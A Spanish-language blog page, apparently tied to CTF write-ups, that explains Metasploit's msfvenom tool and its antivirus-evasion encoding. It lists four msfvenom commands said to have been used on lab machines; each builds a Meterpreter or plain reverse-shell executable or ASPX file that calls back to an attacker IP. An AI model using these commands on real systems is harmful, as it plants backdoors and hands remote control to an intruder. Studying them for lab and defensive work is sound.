MSFvenom
¿Qué es msfvenom
?
msfvenom
no es un módulo de msfconsole
, sino que es una herramienta de lÃnea de comandos independiente que forma parte de la suite de Metasploit.
Su nombre viene de la combinación de dos herramientas históricas de Metasploit:
msfpayload
(que se usaba para generar payloads).msfencode
(que se usaba para codificar payloads y tratar de evadir antivirus).
Ambas se combinaron en una sola herramienta más moderna: msfvenom
.
¿Qué hace msfvenom
?
msfvenom
?msfvenom
permite:
Generar payloads (fragmentos de código que al ejecutarse permiten establecer una sesión con la máquina atacante, por ejemplo un Meterpreter o una shell reverse).
Formatear estos payloads en distintos tipos de archivos:
.exe
para Windows.elf
para Linux.apk
para Android.ps1
(PowerShell script).asp
,.jsp
,.php
(para servidores web)Shellcode puro (para inyección manual en exploits)
Codificar los payloads usando técnicas de evasión para tratar de eludir mecanismos de defensa (aunque hoy en dÃa esto requiere técnicas más avanzadas).
¿Cómo funciona?
El flujo básico es asÃ:
El usuario elige un payload (por ejemplo,
windows/meterpreter/reverse_tcp
).Define parámetros como LHOST (IP de la máquina atacante) y LPORT (puerto que estará escuchando para recibir la conexión).
Elige un formato de salida (por ejemplo
-f exe
para obtener un.exe
).msfvenom
genera un archivo que contiene ese payload en el formato elegido.
Ejemplos prácticos con máquinas que se realizaron en este blog:
En el CTF Devel se usó:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=4444 -f aspx -o backdoor.aspx
En el CTF Driver se usó:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe > shell.exe
-p windows/x64/meterpreter/reverse_tcp
→ genera un payload Meterpreter para Windows 64 bits que hará una conexión inversa (reverse TCP) a tu máquina.LHOST=10.10.14.4
→ la IP de tu máquina atacante (donde corre el handler de Metasploit).LPORT=4444
→ el puerto donde está escuchando tu handler.-f exe
→ el formato de salida es un ejecutable.exe
.> shell.exe
→ guarda el resultado en un archivo llamadoshell.exe
.
En el CTF Acces se usó:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=1338 -f exe -o backdoor.exe
En el CTF Grandpa se usó:
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.4 LPORT=4444 -f exe -o shell.exe
Last updated